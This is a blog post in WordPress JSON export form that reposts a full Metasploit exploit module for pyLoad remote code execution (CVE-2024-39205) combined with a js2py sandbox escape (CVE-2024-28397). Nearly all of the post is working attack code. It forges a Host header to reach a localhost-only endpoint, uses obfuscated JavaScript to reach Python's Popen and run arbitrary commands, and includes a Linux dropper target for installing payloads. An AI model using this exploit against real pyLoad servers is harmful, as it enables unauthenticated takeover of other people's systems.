{"id":60386,"date":"2024-11-18T18:46:41","date_gmt":"2024-11-18T15:46:41","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/182692\/pyload_js2py_cve_2024_39205.rb.txt"},"modified":"2024-11-18T18:46:41","modified_gmt":"2024-11-18T15:46:41","slug":"pyload-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/pyload-remote-code-execution\/","title":{"rendered":"Pyload Remote Code Execution"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>require &#8216;rex\/stopwatch&#8217;<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Remote<\/p>\n<p>Rank = ExcellentRanking<\/p>\n<p>prepend Msf::Exploit::Remote::AutoCheck<br \/>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Exploit::CmdStager<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Pyload RCE (CVE-2024-39205) with js2py sandbox escape (CVE-2024-28397)&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>CVE-2024-28397 is sandbox escape in js2py (&lt;=0.74) which is a popular python package that can evaluate<br \/>javascript code inside a python interpreter. The vulnerability allows for an attacker to obtain a reference<br \/>to a python object in the js2py environment enabling them to escape the sandbox, bypass pyimport restrictions<br \/>and execute arbitrary commands on the host. At the time of writing no patch has been released, version 0.74<br \/>is the latest version of js2py which was released Nov 6, 2022.<\/p>\n<p>CVE-2024-39205 is an remote code execution vulnerability in Pyload (&lt;=0.5.0b3.dev85) which is an open-source<br \/>download manager designed to automate file downloads from various online sources. Pyload is vulnerable because<br \/>it exposes the vulnerable js2py functionality mentioned above on the \/flash\/addcrypted2 API endpoint.<br \/>This endpoint was designed to only accept connections from localhost but by manipulating the HOST header we<br \/>can bypass this restriction in order to access the API to achieve unauth RCE.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;Marven11&#8217;, # PoC<br \/>&#8216;Spencer McIntyre&#8217;, # Previous pyLoad module which this is based on<br \/>&#8216;jheysel-r7&#8217; # Metasploit module<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[ &#8216;CVE&#8217;, &#8216;2024-39205&#8217; ],<br \/>[ &#8216;CVE&#8217;, &#8216;2024-28397&#8217; ],<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/github.com\/Marven11\/CVE-2024-39205-Pyload-RCE&#8217; ],<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/github.com\/pyload\/pyload\/security\/advisories\/GHSA-w7hq-f2pj-c53g&#8217; ],<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/github.com\/Marven11\/CVE-2024-28397-js2py-Sandbox-Escape&#8217; ],<br \/>],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2024-10-28&#8217;,<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Platform&#8217; =&gt; %w[unix linux],<br \/>&#8216;Arch&#8217; =&gt; [ARCH_CMD, ARCH_X86, ARCH_X64],<br \/>&#8216;Privileged&#8217; =&gt; true,<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[<br \/>&#8216;Unix Command&#8217;,<br \/>{<br \/>&#8216;Platform&#8217; =&gt; %w[unix linux],<br \/>&#8216;Arch&#8217; =&gt; ARCH_CMD,<br \/>&#8216;Type&#8217; =&gt; :unix_cmd<br \/>}<br \/>],<br \/>[<br \/>&#8216;Linux Dropper&#8217;,<br \/>{<br \/>&#8216;Platform&#8217; =&gt; &#8216;linux&#8217;,<br \/>&#8216;Arch&#8217; =&gt; [ARCH_X86, ARCH_X64],<br \/>&#8216;Type&#8217; =&gt; :linux_dropper<br \/>}<br \/>],<br \/>],<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION],<br \/>&#8216;SideEffects&#8217; =&gt; [IOC_IN_LOGS, ARTIFACTS_ON_DISK]}<br \/>)<br \/>)<\/p>\n<p>register_options([<br \/>Opt::RPORT(9666),<br \/>OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;Base path&#8217;, &#8216;\/&#8217;])<br \/>])<br \/>end<\/p>\n<p>def check<br \/>sleep_time = rand(5..10)<\/p>\n<p>_, elapsed_time = Rex::Stopwatch.elapsed_time do<br \/>execute_command(&#8220;sleep #{sleep_time}&#8221;)<br \/>end<\/p>\n<p>vprint_status(&#8220;Elapsed time: #{elapsed_time} seconds&#8221;)<\/p>\n<p>unless elapsed_time &gt; sleep_time<br \/>return CheckCode::Safe(&#8216;Failed to test command injection.&#8217;)<br \/>end<\/p>\n<p>CheckCode::Vulnerable(&#8216;Successfully tested command injection.&#8217;)<br \/>rescue Msf::Exploit::Failed<br \/>return CheckCode::Safe(&#8216;Failed to test command injection.&#8217;)<br \/>end<\/p>\n<p>def exploit<br \/>print_status(&#8220;Executing #{target.name} for #{datastore[&#8216;PAYLOAD&#8217;]}&#8221;)<\/p>\n<p>case target[&#8216;Type&#8217;]when :unix_cmd<br \/>if execute_command(payload.encoded)<br \/>print_good(&#8220;Successfully executed command: #{payload.encoded}&#8221;)<br \/>end<br \/>when :linux_dropper<br \/>execute_cmdstager<br \/>end<br \/>end<\/p>\n<p>def javascript_payload(cmd)<br \/>js_vars = Rex::RandomIdentifier::Generator.new({ language: :javascript })<\/p>\n<p>js = &lt;&lt;~EOS<br \/>let #{js_vars[:command]} = &#8220;#{cmd}&#8221;<br \/>let #{js_vars[:hacked]}, #{js_vars[:bymarve]}, #{js_vars[:n11]}<br \/>let #{js_vars[:getattr]}, #{js_vars[:obj]}<\/p>\n<p>#{js_vars[:base]} = &#8216;__base__&#8217;<br \/>#{js_vars[:getattribute]} = &#8216;__getattribute__&#8217;<br \/>#{js_vars[:hacked]} = Object.getOwnPropertyNames({})<br \/>#{js_vars[:bymarve]} = #{js_vars[:hacked]}[#{js_vars[:getattribute]}]#{js_vars[:n11]} = #{js_vars[:bymarve]}(&#8220;__getattribute__&#8221;)<br \/>#{js_vars[:obj]} = #{js_vars[:n11]}(&#8220;__class__&#8221;)[#{js_vars[:base]}]#{js_vars[:getattr]} = #{js_vars[:obj]}[#{js_vars[:getattribute]}]#{js_vars[:sub_class]} = &#8216;__subclasses__&#8217;;<\/p>\n<p>function #{js_vars[:findpopen]}(#{js_vars[:o]}) {<br \/>let #{js_vars[:result]};<br \/>for(let #{js_vars[:i]} in #{js_vars[:o]}[#{js_vars[:sub_class]}]()) {<br \/>let #{js_vars[:item]} = #{js_vars[:o]}[#{js_vars[:sub_class]}]()[#{js_vars[:i]}]if(#{js_vars[:item]}.__module__ == &#8220;subprocess&#8221; &amp;&amp; #{js_vars[:item]}.__name__ == &#8220;Popen&#8221;) {<br \/>return #{js_vars[:item]}<br \/>}<br \/>if(#{js_vars[:item]}.__name__ != &#8220;type&#8221; &amp;&amp; (#{js_vars[:result]} = #{js_vars[:findpopen]}(#{js_vars[:item]}))) {<br \/>return #{js_vars[:result]}<br \/>}<br \/>}<br \/>}<\/p>\n<p>#{js_vars[:n11]} = #{js_vars[:findpopen]}(#{js_vars[:obj]})(#{js_vars[:command]}, -1, null, -1, -1, -1, null, null, true).communicate()<br \/>EOS<\/p>\n<p>opts = { &#8216;Strings&#8217; =&gt; true }<\/p>\n<p>js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)<br \/>js.obfuscate(memory_sensitive: true)<br \/>js.to_s<br \/>end<\/p>\n<p>def execute_command(cmd, _opts = {})<br \/>cmd.gsub!(\/\\\\\/, &#8216;\\\\\\\\\\\\\\\\&#8217;)<br \/>cmd.gsub!(\/&#8221;\/, &#8216;\\&#8221;&#8216;)<br \/>vprint_status(&#8220;Executing command: #{cmd}&#8221;)<br \/>crypted_b64 = Rex::Text.encode_base64(rand(4))<\/p>\n<p>res = send_request_cgi(<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;headers&#8217; =&gt; {<br \/>&#8216;Host&#8217; =&gt; &#8220;127.0.0.1:#{datastore[&#8216;RPORT&#8217;]}&#8221;<br \/>},<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;flash&#8217;, &#8216;addcrypted2&#8217;),<br \/>&#8216;vars_post&#8217; =&gt; {<br \/>&#8216;crypted&#8217; =&gt; crypted_b64,<br \/>&#8216;jk&#8217; =&gt; javascript_payload(cmd)<br \/>}<br \/>)<\/p>\n<p># The command will either cause the response to timeout or return a 500<br \/>return if res.nil?<br \/>return if res.code == 500 &amp;&amp; res.get_xml_document.xpath(&#8216;\/\/title&#8217;).text == &#8216;Sorry, something went wrong&#8230; :(&#8216;<\/p>\n<p>fail_with(Failure::UnexpectedReply, &#8220;The HTTP server replied with a status of #{res.code}&#8221;)<br \/>end<\/p>\n<p>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## require &#8216;rex\/stopwatch&#8217; class MetasploitModule &lt; Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheckinclude Msf::Exploit::Remote::HttpClientinclude Msf::Exploit::CmdStager def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Pyload RCE (CVE-2024-39205) with js2py sandbox escape (CVE-2024-28397)&#8217;,&#8216;Description&#8217; =&gt; %q{CVE-2024-28397 is sandbox escape in js2py (&lt;=0.74) which is a popular python package that can evaluatejavascript code inside a &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-60386","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/60386","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=60386"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/60386\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=60386"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=60386"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=60386"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}